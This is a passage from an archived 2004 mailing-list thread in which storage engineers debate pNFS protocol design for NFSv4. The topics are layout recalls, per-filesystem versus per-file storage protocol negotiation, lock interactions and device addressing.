type of access it can use parallel I/O, otherwise it must read/write through the NFS server. If the attribute doesn't exist or is NULL or something, parallel I/O does not exist for this file. > Relation to share mode reservations > Relation to byte range locks > Much discussion about this, see above. Advisory locks are orthogonal > to layout information. *However*, if a server is implementing > mandatory locks, then it really must recall layouts that would allow > conflicting I/O. I think the only real requirement here is that clients do not end up with conflicting layouts. If client A and client B do not have conflicting locks BUT they have conflicting layouts, then the server should be able to only recall the conflicting bits of the layouts. I'm wondering how much we let implementors/applications shoot themselves in the foot. Do we need a requirement that servers cannot return layouts that conflict with outstanding locks? My thoughts are that we should tune the protocol so clients have the greatest chance of being able to use parallel I/O and not accidentally end up writing through the NFS server b/c their ops were out of order or soemthing. Dean >From black_david@emc.com Fri Jun 18 17:10:01 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 2019 invoked from network); 19 Jun 2004 00:09:59 -0000 Received: from unknown (66.218.66.172) by m11.grp.scd.yahoo.com with QMQP; 19 Jun 2004 00:09:59 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta4.grp.scd.yahoo.com with SMTP; 19 Jun 2004 00:09:59 -0000 Received: from MAHO3MSX2.corp.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by mailhub.lss.emc.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id i5J09vB24376 for ; Fri, 18 Jun 2004 20:09:57 -0400 (EDT) Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 18 Jun 2004 20:09:57 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Fri, 18 Jun 2004 20:09:56 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-PMX-Version: 4.6.0.97784, Antispam-Core: 4.6.0.97340, Antispam-Data: 2004.6.18.104407 X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 Brent, > Server Control over Conflicting Layouts > > That said, there are still cases where a server may want to enforce > strict access control to clients that are using layouts, and so the > server can still recall layouts as necessary to support that. We > discussed the notion of a ""shared"" vs. ""exclusive"" layout and letting > the client hint to the server about what kind of layout it wants. > (We talked at length about this today during the conference call.) I don't like the ""shared"" vs. ""exclusive"" terminology, because this seems to be placing responsibility for a consistency decision on the client. I think about this in terms of the client asking the server for the consistency policy it wants. In this context, the ""shared"" case client is asking that accesses from components of a specific application (identified by some sort of ID) not be considered to be in conflict by the server. This is mostly about terminology, but I think we really should be viewing this in terms of the results the client wants to see. > I think this is the gist of the current proposal: [... snip ...] The proposal's ok, except that this really ought to be done at coarser granularity than each LAYOUT operation. A mount op solely for pNFS is an attractive way to address this and protocol negotiation problem. > Callbacks and pending callbacks > > The draft-00 had a notion of a pending callback and a notification > that a layout was available. We think we can live without this. > Instead, the server just gives out layouts and recalls them. If > a client does not get a layout, then it retries later, or it uses > regular READ/WRITE operations through the server instead. This is at risk of breakage under heavy contention, as it consumes RPC contexts if the server wants to try to do liveness among clients. The ability to queue a layout request and issue a callback when the server has completed it (callback gives the requested layout to the client) helps. > When the server recalls a layout the client may have to complete > some I/O requests (storage writes). We have not yet decided if > the client responds to the recall immediately, then does its writes, > and finishes up with LAYOUTRETURN, or it does the I/O and the > LAYOUTRETURN before replying to the CB_LAYOUTRECALL If the LAYOUTRECALL happens when the client is done and implies the return of the layouts that the server wanted recalled, it saves a LAYOUTRETURN op and a round trip if a read layout range is being recalled. > Storage Protocol Negotiation > > The client needs to be able to ask for particular kinds of layouts > that involve particular storage protocols. The LAYOUTGET operation > will include a storage protocol type, and the server will fail to > return a layout if it cannot give it that type. I'd be much happier if this were at a coarser granularity than each layout operation (e.g., at open time, or add a mount operation solely for pNFS). > We discussed variations > on this scheme where the client supplies a list of possibilities and > the server returns the first one it supports. We had a lengthy > discussion about whether it is possible to do this negotiation for > the whole filesystem first, but rejected that approach > because different files might be available through different storage > protocols. I believe we postulated an attribute on the file that > identified the ""preferred"" storage protocol that a client could > use to access that file. This is much better done at some coarser filesystem granularity. > GETDEVINFO > > I think we can chuck all the GETDEVINFO and GETDEVLIST from > the protocol. That was about mapping from a compact device ID to > the full addressing information. This is private to the storage > protocol. There > may be some additional message traffic between the client and > the NFS server, but for now we can assume that layouts specify > storage devices with something like > struct pnfs_devaddr4 { > string r_netid<>; /* network ID */ > string r_addr<>; /* universal address */ > } > I know you can put IP addr/port information here, and we should > be able to put universal SCSI device addresses in there, too. That won't fly in the block world. We need to pass some potentially large disk signature info, and again, mount time is a convenient time to do that. The worst problem is that there's no such thing as a universal SCSI device address for parallel SCSI or private Fibre Channel loops. Beyond that, using device addressing is going to run into multipathing concerns (what you think is one SCSI device actually has multiple addresses, whose use may vary over time) - it's better not to have to try to cope with this. In general, it's significantly more robust and reliable to just use disk signatures. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From garth@panasas.com Fri Jun 18 20:26:44 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 9841 invoked from network); 19 Jun 2004 03:26:43 -0000 Received: from unknown (66.218.66.218) by m21.grp.scd.yahoo.com with QMQP; 19 Jun 2004 03:26:43 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 19 Jun 2004 03:26:43 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56SAHC; Fri, 18 Jun 2004 23:26:41 -0400 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: <200406180115.i5I1Fq118244@medlicott.panasas.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: <5A871606-C185-11D8-AC74-000A95A94F04@panasas.com> Content-Transfer-Encoding: quoted-printable Date: Fri, 18 Jun 2004 17:12:30 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson On Jun 18, 2004, at 8:46 AM, Dean Hildebrand wrote: > This is great, thanks to Brian and Brent. > >> Callbacks and pending callbacks >> >> The draft-00 had a notion of a pending callback and a notification >> that a layout was available. We think we can live without this. >> Instead, the server just gives out layouts and recalls them. If >> a client does not get a layout, then it retries later, or it uses >> regular READ/WRITE operations through the server instead. > Just to understand this a little better, are we essentially adding > additional functionality to existing parallel file systems with the > ability for the client to write to the NFS server? Is it true that in I'd say we are adding functionality to NFSv4 to give it the data parallelism possible in many of today's parallel file systems. > existing parallel file systems, if a client requests a conflicting byte > range (assuming the client cares about conflicts) it is essentially > halted > until the conflict is resolved? Different parallel file systems do this differently. > >> Storage Protocol Negotiation >> >> The client needs to be able to ask for particular kinds of layouts >> that involve particular storage protocols. The LAYOUTGET operation >> will include a storage protocol type, and the server will fail to >> return a layout if it cannot give it that type. >> >> We discussed variations >> on this scheme where the client supplies a list of possibilities and >> the server returns the first one it supports. We had a lengthy >> discussion about whether it is possible to do this negotiation for >> the whole filesystem first, but rejected that approach >> because different files might be available through different storage >> protocols. I believe we postulated an attribute on the file that >> identified the ""preferred"" storage protocol that a client could >> use to access that file. > I'm wondering if this is unecessary. If a file exists then the > preferred > type of file system for access must be available (otherwise who is > storing > the file?). Using the attribute idea, the client requests the > attribute > and if it has a I/O module to support that type of access it can use > parallel I/O, otherwise it must read/write through the NFS server. If > the > attribute doesn't exist or is NULL or something, parallel I/O does not > exist for this file. I agree that it is most likely that a specific file can only be read directly using one storage protocol. But it is certainly possible for two different files under the control of the same NFSv4 server to be directly available through different protocols (for example, an NFSv4 server with pNFS extensions exporting two different local file systems that are different types of parallel file systems. What I'd like to avoid is a round trip on each open for the client to determine what type of layout to request. I'd like this to be known or mostly guessable before the open. Of course, many clients will support only one choice, so that is the one to use :-) But it seems not unlikely that a client could support SBC on iSCSI, NFS striping and OSD on iSCSI using the same GE NIC. >> Relation to share mode reservations >> Relation to byte range locks >> Much discussion about this, see above. Advisory locks are orthogonal >> to layout information. *However*, if a server is implementing >> mandatory locks, then it really must recall layouts that would allow >> conflicting I/O. > I think the only real requirement here is that clients do not end up > with > conflicting layouts. If client A and client B do not have conflicting > locks BUT they have conflicting layouts, then the server should be > able to > only recall the conflicting bits of the layouts. I'm wondering how > much > we let implementors/applications shoot themselves in the foot. Do we I like your choice of words, because I think we let implementors shoot themselves in the foot, simplistically resolve all conflicts with ""use the NFSv4 server"" or extensively optimize performance for aggressive parallel applications. > need > a requirement that servers cannot return layouts that conflict with > outstanding locks? My thoughts are that we should tune the protocol so > clients have the greatest chance of being able to use parallel I/O and > not > accidentally end up writing through the NFS server b/c their ops were > out > of order or soemthing. I agree, but I'd say it differently. I think we want to work hard to make it so that implementors can do this, but also work hard to allow other implementors to get some of the benefit with much simpler implementations. That is, we try not to use the wire protocol to force a specific implementation (ie., limit the implementation creativity), or to force the base cost of providing an implementation to be too high. >From ggrider@lanl.gov Fri Jun 18 21:24:41 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 24343 invoked from network); 19 Jun 2004 04:24:40 -0000 Received: from unknown (66.218.66.217) by m24.grp.scd.yahoo.com with QMQP; 19 Jun 2004 04:24:40 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta2.grp.scd.yahoo.com with SMTP; 19 Jun 2004 04:24:39 -0000 Received: from mailrelay1.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i5J4OZCp030233 for ; Fri, 18 Jun 2004 22:24:35 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay1.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i5J4OZ3V022563 for ; Fri, 18 Jun 2004 22:24:35 -0600 Received: from cthulu.lanl.gov (vpn-client-148.lanl.gov [128.165.253.148]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i5J4OUia028628; Fri, 18 Jun 2004 22:24:31 -0600 Message-Id: <5.2.0.9.2.20040618222113.040751c8@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Fri, 18 Jun 2004 22:24:31 -0600 To: pnfs-reqs@yahoogroups.com, pnfs-reqs@yahoogroups.com In-Reply-To: <5A871606-C185-11D8-AC74-000A95A94F04@panasas.com> References: <200406180115.i5I1Fq118244@medlicott.panasas.com> Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_4936237==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs At 05:12 PM 6/18/2004 -0700, Garth Gibson wrote: > On Jun 18, 2004, at 8:46 AM, Dean Hildebrand wrote: > > This is great, thanks to Brian and Brent. > > > >> Callbacks and pending callbacks > >> > >> The draft-00 had a notion of a pending callback and a notification > >> that a layout was available. We think we can live without this. > >> Instead, the server just gives out layouts and recalls them. If > >> a client does not get a layout, then it retries later, or it uses > >> regular READ/WRITE operations through the server instead. > > Just to understand this a little better, are we essentially adding > > additional functionality to existing parallel file systems with the > > ability for the client to write to the NFS server? Is it true that in > > I'd say we are adding functionality to NFSv4 to give it the data > parallelism possible in many of today's parallel file systems. I would agree, and I have a few of them > > existing parallel file systems, if a client requests a conflicting byte > > range (assuming the client cares about conflicts) it is essentially > > halted > > until the conflict is resolved? > > Different parallel file systems do this differently. > > > > >> Storage Protocol Negotiation > >> > >> The client needs to be able to ask for particular kinds of layouts > >> that involve particular storage protocols. The LAYOUTGET operation > >> will include a storage protocol type, and the server will fail to > >> return a layout if it cannot give it that type. > >> > >> We discussed variations > >> on this scheme where the client supplies a list of possibilities and > >> the server returns the first one it supports. We had a lengthy > >> discussion about whether it is possible to do this negotiation for > >> the whole filesystem first, but rejected that approach > >> because different files might be available through different storage > >> protocols. I believe we postulated an attribute on the file that > >> identified the ""preferred"" storage protocol that a client could > >> use to access that file. > > I'm wondering if this is unecessary. If a file exists then the > > preferred > > type of file system for access must be available (otherwise who is > > storing > > the file?). Using the attribute idea, the client requests the > > attribute > > and if it has a I/O module to support that type of access it can use > > parallel I/O, otherwise it must read/write through the NFS server. If > > the > > attribute doesn't exist or is NULL or something, parallel I/O does not > > exist for this file. > > I agree that it is most likely that a specific file can only be read > directly using one storage protocol. But it is certainly possible for > two different files under the control of the same NFSv4 server to be > directly available through different protocols (for example, an NFSv4 > server with pNFS extensions exporting two different local file systems > that are different types of parallel file systems. > > What I'd like to avoid is a round trip on each open for the client to > determine what type of layout to request. I'd like this to be known or > mostly guessable before the open. Of course, many clients will support > only one choice, so that is the one to use :-) But it seems not > unlikely that a client could support SBC on iSCSI, NFS striping and OSD > on iSCSI using the same GE NIC. > > >> Relation to share mode reservations > >> Relation to byte range locks > >> Much discussion about this, see above. Advisory locks are orthogonal > >> to layout information. *However*, if a server is implementing > >> mandatory locks, then it really must recall layouts that would allow > >> conflicting I/O. > > I think the only real requirement here is that clients do not end up > > with > > conflicting layouts. If client A and client B do not have conflicting > > locks BUT they have conflicting layouts, then the server should be > > able to > > only recall the conflicting bits of the layouts. I'm wondering how > > much > > we let implementors/applications shoot themselves in the foot. Do we > > I like your choice of words, because I think we let implementors shoot > themselves in the foot, simplistically resolve all conflicts with ""use > the NFSv4 server"" or extensively optimize performance for aggressive > parallel applications. > > > need > > a requirement that servers cannot return layouts that conflict with > > outstanding locks? My thoughts are that we should tune the protocol so > > clients have the greatest chance of being able to use parallel I/O and > > not > > accidentally end up writing through the NFS server b/c their ops were > > out > > of order or soemthing. > > I agree, but I'd say it differently. I think we want to work hard to > make it so that implementors can do this, but also work hard to allow > other implementors to get some of the benefit with much simpler > implementations. That is, we try not to use the wire protocol to force > a specific implementation (ie., limit the implementation creativity), > or to force the base cost of providing an implementation to be too > high. Agree with this strongly. Thanks Gary > Yahoo! Groups Sponsor > ADVERTISEMENT > 4b5093.jpg > 4b51e7.jpg > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From dnoveck@netapp.com Sat Jun 19 07:11:36 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 68855 invoked from network); 19 Jun 2004 14:11:35 -0000 Received: from unknown (66.218.66.172) by m7.grp.scd.yahoo.com with QMQP; 19 Jun 2004 14:11:35 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 19 Jun 2004 14:11:35 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5JEBZkX010076 for ; Sat, 19 Jun 2004 07:11:35 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5JEBZcu027647 for ; Sat, 19 Jun 2004 07:11:35 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sat, 19 Jun 2004 07:11:31 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRU0dAkHSQOMgi/QMqFXhpt3UKnlQAf6uhQ To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck > We discussed variations > on this scheme where the client supplies a list of possibilities and > the server returns the first one it supports. We had a lengthy > discussion about whether it is possible to do this negotiation for > the whole filesystem first, but rejected that approach > because different files might be available through different storage > protocols. I wasn't there for the discussion but I have a lot of trouble imagining circumstances where we have a single file system such that different files are available through different sets of storage protocols. And if there are a few, how much is this worth? This is the kind of thing that really adds to implementation (and especialy testing) complexity. I'd vote for keeping things simple(r) by saying fs's have to be uniform in this regard. With regard to Garth's recent comments, ""What I'd like to avoid is a round trip on each open for the client to determine what type of layout to request. I'd like this to be known or mostly guessable before the open"", I think we're OK. If the client has opened a file on the same fs, no matter what we do, it will be an awfully good guess that the layout types for every file on that fs are the same. It'll be pretty close to a sure thing. But why make the client deal with the complexity of the case where it isn't the correct guess? There's enough needed complexity in this endeavour that we shouldn't add to it gratuitously. > Much discussion about this, see above. Advisory locks are orthogonal > to layout information. *However*, if a server is implementing > mandatory locks, then it really must recall layouts that would allow > conflicting I/O. Note that if the server provides another way (e.g. through its storage management protocol) to prevent the mandatory locks from being violated, it doesn't have to recall the layouts since, under those conditions, the layout would not allow conflicting I/O. > If the server crashes, then the clients need to get their layouts > after it restarts. This needs to be described in the draft doc. There's a lot of stuff in this area. When clients reboot, the server has to recognize that they're layouts are no longer held. We need to explan the case where the client dies an never comes back up and where the client keeps renewing its lease but is asked to return its layout but never does do. > DELEGASK / DELEGRETURN > > I think this is an orthogonal NFSv4 extension (dubbed > ""c-NFS"" for cache-coherent NFS) that would all a more sophisticated > cache consistency implementation. This is likely to be > controversial and we think we can get most of the value prop > of pNFS without this. Although I think you are right that it will be controversial, my feeling is that the controversy will not be quite as sharp if it is proposed as an optional feature, which it would have to be anyway for a minor version. I agree that this is orthogonal to pnfs and needs to be pursued separately. Those who really want this and want to use it with pnfs can pursue it in their own I-D and depending on how things work out, it might wind up the same minor version. > I think this boils it down to LAYOUTGET, LAYOUTCOMMIT, and > LAYOUTRETURN, with some negotiation about preferred storage > protocols and the kind of sharing the client and server expect. Sounds like it's almost ready to ship :-) >From ggrider@lanl.gov Sat Jun 19 14:58:30 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 846 invoked from network); 19 Jun 2004 21:58:28 -0000 Received: from unknown (66.218.66.218) by m20.grp.scd.yahoo.com with QMQP; 19 Jun 2004 21:58:28 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta3.grp.scd.yahoo.com with SMTP; 19 Jun 2004 21:58:28 -0000 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i5JLueCp014531 for ; Sat, 19 Jun 2004 15:56:40 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i5JLueVU020956 for ; Sat, 19 Jun 2004 15:56:40 -0600 Received: from cthulu.lanl.gov (vpn-client-150.lanl.gov [128.165.253.150]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i5JLucia018317; Sat, 19 Jun 2004 15:56:38 -0600 Message-Id: <5.2.0.9.2.20040619155417.0370c548@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Sat, 19 Jun 2004 15:56:39 -0600 To: pnfs-reqs@yahoogroups.com, In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_971937==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs ADVERTISEMENT At 07:11 AM 6/19/2004 -0700, Noveck, Dave wrote: > > We discussed variations > > on this scheme where the client supplies a list of possibilities and > > the server returns the first one it supports. We had a lengthy > > discussion about whether it is possible to do this negotiation for > > the whole filesystem first, but rejected that approach > > because different files might be available through different storage > > protocols. > > I wasn't there for the discussion but I have a lot of trouble > imagining circumstances where we have a single file system such > that different files are available through different sets of > storage protocols. I assume you mean that for the most part most files should be available via 3 methods 1) native file system 2) pNFS via one of the three pNFS methods 3) regular NFS but it will be unlikely that the files would be available under more than one pNFS method. Gary > And if there are a few, how much is this > worth? This is the kind of thing that really adds to > implementation (and especialy testing) complexity. I'd vote > for keeping things simple(r) by saying fs's have to be uniform > in this regard. > > With regard to Garth's recent comments, ""What I'd like to avoid > is a round trip on each open for the client to determine what > type of layout to request. I'd like this to be known or mostly > guessable before the open"", I think we're OK. If the client > has opened a file on the same fs, no matter what we do, it will > be an awfully good guess that the layout types for every file on > that fs are the same. It'll be pretty close to a sure thing. > But why make the client deal with the complexity of the case > where it isn't the correct guess? There's enough needed > complexity in this endeavour that we shouldn't add to it > gratuitously. > > > > Much discussion about this, see above. Advisory locks are orthogonal > > to layout information. *However*, if a server is implementing > > mandatory locks, then it really must recall layouts that would allow > > conflicting I/O. > > Note that if the server provides another way (e.g. through its > storage management protocol) to prevent the mandatory locks from > being violated, it doesn't have to recall the layouts since, > under those conditions, the layout would not allow conflicting > I/O. > > > If the server crashes, then the clients need to get their layouts > > after it restarts. This needs to be described in the draft doc. > > There's a lot of stuff in this area. When clients reboot, the > server has to recognize that they're layouts are no longer held. > We need to explan the case where the client dies an never comes > back up and where the client keeps renewing its lease but is > asked to return its layout but never does do. > > > DELEGASK / DELEGRETURN > > > > I think this is an orthogonal NFSv4 extension (dubbed > > ""c-NFS"" for cache-coherent NFS) that would all a more sophisticated > > cache consistency implementation. This is likely to be > > controversial and we think we can get most of the value prop > > of pNFS without this. > > Although I think you are right that it will be controversial, > my feeling is that the controversy will not be quite as sharp > if it is proposed as an optional feature, which it would have > to be anyway for a minor version. > > I agree that this is orthogonal to pnfs and needs to be pursued > separately. Those who really want this and want to use it with > pnfs can pursue it in their own I-D and depending on how things > work out, it might wind up the same minor version. > > > I think this boils it down to LAYOUTGET, LAYOUTCOMMIT, and > > LAYOUTRETURN, with some negotiation about preferred storage > > protocols and the kind of sharing the client and server expect. > > Sounds like it's almost ready to ship :-) > > Yahoo! Groups Sponsor > ADVERTISEMENT > ed3bb.jpg > ed45b.jpg > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From dnoveck@netapp.com Sat Jun 19 17:47:05 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 60649 invoked from network); 20 Jun 2004 00:47:03 -0000 Received: from unknown (66.218.66.172) by m7.grp.scd.yahoo.com with QMQP; 20 Jun 2004 00:47:03 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 20 Jun 2004 00:47:02 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5K0l2kX020783 for ; Sat, 19 Jun 2004 17:47:02 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5K0l2cu005079 for ; Sat, 19 Jun 2004 17:47:02 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""----_=_NextPart_001_01C45660.120B7EA3"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sat, 19 Jun 2004 17:46:49 -0700 Message-ID: X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRWSJB0jNbQW15VTTKgIo4WtTSTMwAFM+7Q To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck I assume you mean that for the most part most files should be available via 3 methods 1) native file system Maybe, maybe not. On appliance servers such as our system there is nothing that really corresponds to local file system access as it's generally thought of. 2) pNFS via one of the three pNFS methods One or more than one. I think I was the first one to mention the possibility that servers could make files available via more than one of these. Whether that turns out to be common will depend on how implementations evolve. If there are sets of clients that each support disjoint sets of methods (files and blocks) then it may worth it for a server to accommodate both. 3) regular NFS Certainly. but it will be unlikely that the files would be available under more than one pNFS method. If you had to make a bet (even money) about a given server selected at random, guessing one pNFS method would be where the smart money would go. But more than one shouldn't be considered a real long shot. It depends on the clients. My point was (and is) that whatever choice a server makes on this issue should be considered as a per-fs choice, and not a per-file choice. I can't imagine a server making a different choice for different files on the same fs and the protocol should not complicate itself to allow that possibility. -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Saturday, June 19, 2004 5:57 PM To: pnfs-reqs@yahoogroups.com; pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] summary of June face-to-face At 07:11 AM 6/19/2004 -0700, Noveck, Dave wrote: > > We discussed variations > > on this scheme where the client supplies a list of possibilities and > > the server returns the first one it supports. We had a lengthy > > discussion about whether it is possible to do this negotiation for > > the whole filesystem first, but rejected that approach > > because different files might be available through different storage > > protocols. > > I wasn't there for the discussion but I have a lot of trouble > imagining circumstances where we have a single file system such > that different files are available through different sets of > storage protocols. I assume you mean that for the most part most files should be available via 3 methods 1) native file system 2) pNFS via one of the three pNFS methods 3) regular NFS but it will be unlikely that the files would be available under more than one pNFS method. Gary > And if there are a few, how much is this > worth? This is the kind of thing that really adds to > implementation (and especialy testing) complexity. I'd vote > for keeping things simple(r) by saying fs's have to be uniform > in this regard. > > With regard to Garth's recent comments, ""What I'd like to avoid > is a round trip on each open for the client to determine what > type of layout to request. I'd like this to be known or mostly > guessable before the open"", I think we're OK. If the client > has opened a file on the same fs, no matter what we do, it will > be an awfully good guess that the layout types for every file on > that fs are the same. It'll be pretty close to a sure thing. > But why make the client deal with the complexity of the case > where it isn't the correct guess? There's enough needed > complexity in this endeavour that we shouldn't add to it > gratuitously. > > > > Much discussion about this, see above. Advisory locks are orthogonal > > to layout information. *However*, if a server is implementing > > mandatory locks, then it really must recall layouts that would allow > > conflicting I/O. > > Note that if the server provides another way (e.g. through its > storage management protocol) to prevent the mandatory locks from > being violated, it doesn't have to recall the layouts since, > under those conditions, the layout would not allow conflicting > I/O. > > > If the server crashes, then the clients need to get their layouts > > after it restarts. This needs to be described in the draft doc. > > There's a lot of stuff in this area. When clients reboot, the > server has to recognize that they're layouts are no longer held. > We need to explan the case where the client dies an never comes > back up and where the client keeps renewing its lease but is > asked to return its layout but never does do. > > > DELEGASK / DELEGRETURN > > > > I think this is an orthogonal NFSv4 extension (dubbed > > ""c-NFS"" for cache-coherent NFS) that would all a more sophisticated > > cache consistency implementation. This is likely to be > > controversial and we think we can get most of the value prop > > of pNFS without this. > > Although I think you are right that it will be controversial, > my feeling is that the controversy will not be quite as sharp > if it is proposed as an optional feature, which it would have > to be anyway for a minor version. > > I agree that this is orthogonal to pnfs and needs to be pursued > separately. Those who really want this and want to use it with > pnfs can pursue it in their own I-D and depending on how things > work out, it might wind up the same minor version. > > > I think this boils it down to LAYOUTGET, LAYOUTCOMMIT, and > > LAYOUTRETURN, with some negotiation about preferred storage > > protocols and the kind of sharing the client and server expect. > > Sounds like it's almost ready to ship :-) > > Yahoo! Groups Sponsor > ADVERTISEMENT > ed3bb.jpg > ed45b.jpg > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From garth@panasas.com Sat Jun 19 21:36:14 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 66720 invoked from network); 20 Jun 2004 04:36:13 -0000 Received: from unknown (66.218.66.166) by m24.grp.scd.yahoo.com with QMQP; 20 Jun 2004 04:36:13 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 20 Jun 2004 04:36:13 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56SCL7; Sun, 20 Jun 2004 00:36:11 -0400 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=WINDOWS-1252; format=flowed Message-Id: <5A10EE7C-C273-11D8-AC74-000A95A94F04@panasas.com> Content-Transfer-Encoding: quoted-printable Date: Sun, 20 Jun 2004 00:36:09 -0400 To: 